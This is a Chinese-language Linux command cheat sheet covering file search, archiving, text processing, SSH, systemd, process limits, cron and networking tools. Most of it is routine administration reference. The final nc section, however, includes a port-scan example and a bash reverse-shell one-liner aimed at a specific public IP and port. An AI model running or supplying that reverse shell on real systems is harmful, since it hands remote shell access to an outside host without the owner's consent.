Commands

导读:本文收集了来自 《深入浅出 Linux》《K8s & Docker 实战》Spring 微服务实战《Web 全栈开发与工程架构》等系列笔记中有关 Linux 下从开发到部署的常用的命令。

Linux Commands CheatSheet | 常用命令与技巧清单

Shell 即是用户和 Linux 内核之间的接口程序,其可以被看做命名语言解释器(Command-Language Interpreter),Bash(Bourne Again Shell) 则是 Bourne Shell(Sh) 的扩展,其优化了原本用户输入处理的不足,提供了多种便捷用户输入的方式。

Linux 常用命令

命令执行

Tmux

# Start new named session:
tmux new -s [session name]

# Detach from session:
ctrl+b d

# List sessions:
tmux ls

# Attach to named session:
tmux a -t [name of session]

# Kill named session:
tmux kill-session -t [name of session]

# Split panes horizontally:
ctrl+b "

# Split panes vertically:
ctrl+b %

# Kill current pane:
ctrl+b x

# Move to another pane:
ctrl+b [arrow key]

# Cycle through panes:
ctrl+b o

# Cycle just between previous and current pane:
ctrl+b ;

# Kill tmux server, along with all sessions:
tmux kill-server

文件系统

文件检索

使用 ls -l 查看目录下文件列表:

# 统计 /home/han 目录(包含子目录)下的所有 js 文件
$ ls -lR /home/han | grep js | wc -l
$ ls -l "/home/han" | grep "js" |wc -l
$ ls -l --sort=size --block-size=M

这类似于 SQL 中的 % 符号,例如,使用 WHERE first_name LIKEJohn% 搜索所有以 John 起始的名字。在 Bash 中,相应的命令是 John*。如果想列出一个文件夹中所有以 .json 结尾的文件,可以输入 ls *.json

# 根据文件类型搜索
$ find * -type f | fzf > selected
# 根据文件名匹配
$ find . -name '*.map' -exec rm {} \;
$ find . -type d -name "node_modules" -prune -exec rm -rf {} \;

# 根据路径匹配
$ find /usr/ -path "*local*"
# 批量修改文件的权限
$ find /opt/lampp/htdocs -type f -exec chmod 644 {} \;

可以使用 fzf 进行交互式检索,在这里下载二进制文件

文件操作

我们可以使用 mkdir, cp 等命令进行文件夹的创建与复制操作:

# 创建文件夹
mkdir <name>
# 递归创建父文件夹
mkdir -p / --parents backup/old
# 创建文件夹时同时指定权限
mkdir -m a=rwx backup
mkdir -p -m 777 backup/server/2011/11/30

# 拷贝单个或者多个文件
$ cp myfile.txt /home/office
$ cp file_1.txt file_2.txt file_3.txt /home/office
# 递归拷贝目录
$ cp -r directory_1 /home/office
# 强制拷贝
$ cp -f *.txt -v ../office
$ cp --remove-destination *.txt -v ../office

tar/zip 等命令能够用于创建压缩包或者解压缩:

# 将文件解压缩到指定文件名 -c 表示压缩,-x 表示解压缩
$ tar -xvzf fileName.tar.gz -C newFileName

# 将文件夹解压缩到指定目录
$ tar -czf target.tar.fz file1 file2 file3

# 指定文件名创建压缩包
$ tar -cvz -f archive.tar file1.txt file2.txt

# 过滤某个文件夹下面的某些子文件夹
$ tar cfvz --exclude='<dir1>' --exclude='<dir2>' target.tgz target_dir
$ tar cvf dir.tar.gz --exclude='/dir/subdir/subsubdir/*' dir

# 向压缩包中添加文件
$ tar -rf archive.tar file3.txt

# 使用密码压缩
$ zip -P password -r F.zip F

有时候我们还需要将大型文件进行切割处理:

$ split -b 10M home.tar.bz2 "home.tar.bz2.part"
$ ls -lh home.tar.bz2.parta*
# 混合 tar 命令使用
$ tar -cvzf - wget/* | split -b 150M - "downloads-part"

# 拼接文件
$ cat home.tar.bz2.parta* >backup.tar.gz.joined

分区与挂载

fdisk 常用于进行磁盘分区,主分区(包含扩展分区)、逻辑分区,主分区最多有 4 个(包含扩展分区)。因此我们在对硬盘分区时最好划分主分区连续,比如说:主分区一、主分区二、扩展分区。

# 查看系统上的硬盘
$ fdisk -l

# 操作指定磁盘
$ fdisk /dev/sda

# 列出当前操作硬盘的分区情况
$ p

# 删除某个分区
$ d

# 增加某个分区
$ n

mkfs.ext4 等常用于对分区进行格式化,mount 则是用于挂载分区:

# 格式化
$ mkfs.ext4 /dev/xvdb1

# 挂载
$ mount /dev/xvdb1 /data2

# 卸载
$ umount /data2

磁盘 IO

使用 du(disk usage)/df(disk free) 查看磁盘状态,du 是通过搜索文件来计算每个文件的大小然后累加,du 能看到的文件只是一些当前存在的,没有被删除的。他计算的大小就是当前他认为存在的所有文件大小的累加和;df 记录的是通过文件系统获取到的文件的大小,他比 du 强的地方就是能够看到已经删除的文件,而且计算大小的时候,把这一部分的空间也加上了,更精确了。

# 查看磁盘剩余空间
$ df -ah
$ df --block-size=GB/-k/-m

# 查看当前目录下的目录空间占用
$ du -h --max-depth=1 /var/ | sort
# 查看 tmp 目录的磁盘占用
$ du -sh /tmp
# 查看当前目录包含子目录的大小
$ du -sm .

# 查看目录下文件尺寸
$ ls -l --sort=size --block-size=M

使用 fuser tmpFile.js 查看指定文件被进程占用情况,

文本处理

tail & head & cat & more

tailf 命令类似于 tail -f,其可以打印出文件的最后十行内容,并且会随着文件的增长而自动滚动;不过其不会在文件没有变化的时候去频繁访问文件。

$ head -5 /etc/passwd

$ tail -10 /etc/passwd
$ tail -n 10 /etc/passwd
$ tail -f /var/log/messages

# 查看文件中间的第 5-10 行
$ sed -n '5,10p' /etc/passwd

grep & ack

grep(global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。

# 基本检索
$ grep match_pattern file_name
$ grep "match_pattern" file_1 file_2 file_3 ...

$ grep -v "match_pattern" file_1 file_2 file_3 ... # 仅显示不匹配的文本

# 搜索多个文件并查找匹配文本在哪些文件中
$ grep -l "text" file1 file2 file3...

# 递归检索
$ grep "text" . -r -n
#只在目录中所有的.php和.html文件中递归搜索字符"main()"
$ grep "main()" . -r --include *.{php,html}
#在搜索结果中排除所有README文件
$ grep "main()" . -r --exclude "README"
#在搜索结果中排除filelist文件列表里的文件
$ grep "main()" . -r --exclude-from filelist

# 正则表达式检索
$ grep -E "[1-9]+"
$ egrep "[1-9]+"

# 检索当前目录下
$ grep 'John Resig' *

# 只输出文件中匹配到的部分 -o 选项
$ echo this is a test line. | grep -o -E "[a-z]+\."
# 输出模板在文本中匹配行数
$ grep -c "text" file_name
# 输出字符的总匹配行数
$ grep "text" file_name | wc -l
# 忽略字符串大小写
$ echo "hello world" | grep -i "HELLO"

# 显示匹配某个结果之后的3行,使用 -A 选项,-B 显示匹配某个结果之前的3行,-C 显示匹配某个结果的前三行和后三行,该命令在日志分析中很有用
$ seq 10 | grep "5" -A 3

# 与其他命令协同使用
$ grep foo $(find . -name '*.pm' | grep -v .svn)
$ ls -l | grep .py

# ripgrep 是性能更优的 grep 替代
$ rg 'fast\w+' README.md
$ rg clap -g '*.toml'
$ rg 'fn run' -g '*.rs'
$ rg 'fn run' --type rust
$ rg 'int main' -g '*.{c,h}'
$ rg fast README.md --replace FAST # Replacements
# ack 默认进行递归搜索
$ ack hello
$ ack -i hello
$ ack -v hello
$ ack -w hello
$ ack -Q 'hello*'

# 输出文件指定内容
# 输出所有文件第二行
$ ack --line=1

# 也可以指定目录/文件名/文件类型检索
# 查找所有python文件
$ ack --python hello
# 查找匹配正则的文件
$ ack -G hello.py$ hello

# ack 能够对搜索结果进行方便地定制
# 仅显示包含的文件名
$ ack -l 'hello'
# 仅显示非包含文件名
$ ack -L 'print'
# 以less形式展示
$ ack hello --pager='less -R'
# 不在头上显示文件
$ ack hello --noheading
# 不对匹配字符着色
$ ack hello --nocolor

# ack 同样能够用于查找文件
# 查找全匹配文件
$ ack -f hello.py
# 查找正则匹配文件
$ ack -g hello.pyf
#查找然后排序
$ ack -g hello --sort-files

ag 是类似于 ack 但是性能更优地工具。

awk

awk 是一种可以处理数据、产生格式化报表的语言。awk 的工作方式是读取数据文件,将每一行数据视为一条记录,每条记录以分隔符分成若干字段,然后输出。

$ echo 'BEGIN' | awk '{print $0 "\nline one\nline two\nline three"}'
BEGIN
line one
line two
line three

# 输出指定分割参数
$ route -n | awk '/UG[ \t]/{print $2}'

# 计算文件中的数值和
$ awk '{s+=$1} END {printf "%.0f", s}' mydatafile
# 显示含 La 的数据行
awk '/La/' 1.log
# 显示每一行的第1和第2个字段
awk '{print $1, $2}' 1.log
# 将含有 La 关键词的数据行的第 1 以及第 2 个字段显示出来
awk '/La/{print $1, $2}' 1.log

# EGIN 后紧跟的操作,在 awk 命令开始匹配第一行时执行,END 后面紧跟的操作在处理完后执行
$ awk 'BEGIN {count=0}{count++} END{print count}' /etc/passwd
$ awk -F ':' 'BEGIN {count=0;} {name[count] = $1;count++;}; END{for (i = 0; i < NR; i++) print i, name[i]}' /etc/passwd
# 仅显示前 5 行
$ awk -F : 'NR > 1 && NR <=5 {print $1}' /etc/passwd
# 显示与 root 相关的用户
$ awk -F : '/^root/{print $1, $2}'  /etc/passwd
# 移除重复行
$ awk '!visited[$0]++' your_file > deduplicated_file

sed

# 替换文件名
$ find . -type f -name '\*.txt' -exec sed -i "s/{find}/{replace}/g" {} \;

# 批量替换文件内容
$ find . -type f | xargs grep -l 'registerUser' | xargs sed -i '' -e 's/registerUser/registerAdmin/g'

用户权限

SSH & SCP

# 生成名为 id_rsa 的私钥文件和名为 id_rsa.pub 的公钥文件
$ ssh-keygen -t rsa

# 指定 4096 位的长度
$ ssh-keygen -b 4096 -t rsa

# 使用 ssh-copy-id 添加公钥
ssh-copy-id username@remote-server

生成的 id_rsa.pub 公钥文件也可以用于配置 Git 仓库的 SSH 访问等。我们可以使用 ssh 登录到本机(切换用户)或者远端 Linux 设备中,通过将本机生成的公钥文件写入目标机器的 authorized_keys 即可以实现免密码登录。scp 命令能够用于在服务器之间传递文件:

# 上传本地文件
$ scp -P 8822 local_file remote_username@remote_ip:remote_folder

# 复制目录
$ scp -r local_folder remote_username@remote_ip:remote_folder

用户管理

将 shell 切换为其他用户,使用 su username 或者 sudo - username,加入 - 会使得切换后的环境与使用该用户登录后的环境相同,省略用户名则默认为 root。

权限设置

$ find /opt/lampp/htdocs -type f -exec chmod 644 {} \;

系统进程

系统基础

  • 使用 hostname 查看当前主机名,使用 sudo hostname newName 修改当前主机名
# 显示当前主机的信息
$ hostnamectl

# 设置主机名。
$ sudo hostnamectl set-hostname rhel7
  • 查看 Linux 系统版本
# 查看内核版本
$ cat /proc/version
Linux version 2.6.18-238.el5 (mockbuild@x86-012.build.bos.redhat.com) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-50)) #1 SMP Sun Dec 19 14:22:44 EST 2010

$ uname -r
2.6.18-238.el5

$ uname -a
Linux SOR_SYS.99bill.com 2.6.18-238.el5 #1 SMP Sun Dec 19 14:22:44 EST 2010 x86_64 x86_64 x86_64 GNU/Linux

# 查看 Linux 发行版本
$ lsb_release -a

$ cat /etc/issue

Red Hat Enterprise Linux Server release 5.6 (Tikanga)
Kernel \r on an \m

$ file /bin/bash

/bin/bash: ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped

运行状态

我们可以使用 uptime 或者 w 来查看当前用户的接入时间:

$ w

# 15:33:49 up 58 days,  5:45,  1 user,  load average: 0.12, 0.15, 0.22
# USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
# root     pts/1     15:15   49.00s  0.04s  0.00s w

查看系统当前的 CPU 与内存情况:

$ lscpu

系统服务

systemctl status 命令用于查看系统状态和单个 Unit 的状态。

# 显示系统状态
$ systemctl status

# 显示单个 Unit 的状态
$ sysystemctl status bluetooth.service

# 显示远程主机的某个 Unit 的状态
$ systemctl -H root@rhel7.example.com status httpd.service

我们最常用的就是 Unit 管理命令:

# 立即启动一个服务
$ sudo systemctl start apache.service

# 立即停止一个服务
$ sudo systemctl stop apache.service

# 重启一个服务
$ sudo systemctl restart apache.service

# 杀死一个服务的所有子进程
$ sudo systemctl kill apache.service

# 重新加载一个服务的配置文件
$ sudo systemctl reload apache.service

# 重载所有修改过的配置文件
$ sudo systemctl daemon-reload

# 显示某个 Unit 的所有底层参数
$ systemctl show httpd.service

# 显示某个 Unit 的指定属性的值
$ systemctl show -p CPUShares httpd.service

# 设置某个 Unit 的指定属性
$ sudo systemctl set-property httpd.service CPUShares=500

进程监控

  • 使用 top 查看进程资源占用情况,也可以使用扩展 htop 或者 glances;如果针对容器监控,可以使用 ctop

  • 使用 pstree -p 查看当前进程树,使用 ps -A 查看所有进程信息,使用 ps -aux 查看所有正在内存中的程序,使用 ps -ef 查看所有连同命令行的进程信息;使用 ps -u root 显示指定用户信息;使用 ps -ef | grep ssh 查看特定进程。

进程管理

$ pkill -f java

ulimit 命令用来限制系统用户对 shell 资源的访问。ulimit 用于限制 shell 启动进程所占用的资源,支持以下各种类型的限制:所创建的内核文件的大小、进程数据块的大小、Shell 进程创建文件的大小、内存锁住的大小、常驻内存集的大小、打开文件描述符的数量、分配堆栈的最大大小、CPU 时间、单个用户的最大线程数、Shell 进程所能使用的最大虚拟内存。同时,它支持硬资源和软资源的限制。

我们常用的就是在 Web 服务器上修改每个进程可以打开的最大文件数:

$ ulimit -n 4096 # 将每个进程可以打开的文件数目加大到4096,缺省为1024

其他建议设置成无限制(unlimited)的一些重要设置是:

$ ulimit -d unlimited # 数据段长度
$ ulimit -m unlimited # 最大内存大小
$ ulimit -s unlimited # 堆栈大小
$ ulimit -t unlimited # CPU 时间
$ ulimit -v unlimited # 虚拟内存

我们也可以通过配置文件的方式永久写入:

vi /etc/security/limits.conf
# 添加如下的行
* soft noproc 11000
* hard noproc 11000
* soft nofile 4100
* hard nofile 4100
# 说明:* 代表针对所有用户,noproc 是代表最大进程数,nofile 是代表最大文件打开数

Cron

*    *    *    *    *   command
分    时    日    月    周    命令

第 1 列表示分钟 1 ~ 59 每分钟用*或者 */1 表示第 2 列表示小时 1 ~ 23 ( 0 表示 0 点)第 3 列表示日期 1 ~ 31 第 4 列表示月份 1 ~ 12 第 5 列标识号星期 0 ~ 6 ( 0 表示星期天)第 6 列要运行的命令

在以上各个字段中,还可以使用以下特殊字符:

星号(*):代表所有可能的值,例如 month 字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。

逗号(, ):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”

中杠(- ):可以用整数之间的中杠表示一个整数范围,例如 “2-6” 表示 “2,3,4,5,6”

正斜线(/ ):可以用正斜线指定时间的间隔频率,例如 “0-23/2” 表示每两小时执行一次。同时正斜线可以和星号一起使用,例如 */10,如果用在 minute 字段,表示每十分钟执行一次。

cron 是一个可以用来根据时间、日期、月份、星期的组合来调度对重复任务的执行的守护进程。

cron 假定系统持续运行。如果当某任务被调度时系统不在运行,该任务就不会被执行。

网络

网络状态

# 查看指定端口的占用情况
$ lsof -i:80
$ kill -9 $(lsof -t -i:8080)
# 查看某个进程的 TCP 连接
$ lsof -p <pid> | grep TCP

$ netstat -an # 查看 TCP 连接数
$ netstat -nat | grep -i "80" | wc -l # 统计 80 端口连接数
$ netstat -na | grep ESTABLISHED | awk {print $5} | awk -F: {print $1} | sort | uniq -c | sort -r +0n # 统计 IP 地址连接数
$ netstat -na | grep SYN | awk {print $5} | awk -F: {print $1} | sort | uniq -c | sort -r +0n

网络配置

ifconfig 常用于进行简单的网卡地址配置:

# Set static ip address
$ ifconfig eth0 <IP> netmask <NETMASK> broadcast <BROADCAST>
# change mac address
$ ifconfig eth0 hw ether <MAC_ADDRESS>
# add alias interface
$ ifconfig eth0:0 <ALIAS_IP>
# enable promiscuous model
$ ifconfig eth0 promisc
$ ifconfig enp1s0 192.168.1.5 netmask 255.255.255.0

# Set default route
$ route add default gw 192.168.1.1

iptables 可以用来配置网络访问策略,添加路由转发功能:

# 将外网访问 80 端口的数据转发到 8080 端口
$ iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

# 将本机访问 80 端口的转发到本机 8080
$ iptables -t nat -A OUTPUT -p tcp -d 127.0.0.1 --dport 80 -j DNAT --to 127.0.0.1:8080
$ iptables -t nat -A OUTPUT -p tcp -d 192.168.4.177 --dport 80 -j DNAT --to 127.0.0.1:8080

网络请求

# Redirecting Output
$ wget -O filename.zip http://www.domain.com/filename-4.0.1.zip
# 递归下载整个站点
$ wget --recursive http://url.com
# Downloading in the background
$ wget -b http://domain.com/filename.tar.gz
# Limiting the download speed
$ wget --limit-rate=200k http://www.domain.com/filename.tar.gz

# 展示 curl 的进度
$ curl --progress-bar -T "${SOME_LARGE_FILE}" "${UPLOAD_URL}" | tee /dev/null

nc 也是常见的网络监听与请求工具:

# 端口扫描
$ nc -v -w 2 192.168.2.34 -z 21-24

# 监听
$ nc -l 1234
$ nc 192.168.2.34 1234

# 文件拷贝,从 192.168.2.33 拷贝文件到 192.168.2.34
$ nc -l 1234 > test.txt # 192.168.2.34
$ nc 192.168.2.34 < test.txt # 192.168.2.33

# 发送端
$ cat a.txt  |  nc -l  3333
# 接收端
$ nc 192.168.0.3    3333 >   a.txt

# 将内网的 Shell 反弹到某个公网的端口
$ bash -i >& /dev/tcp/180.100.74.29/8182 0>&1

Links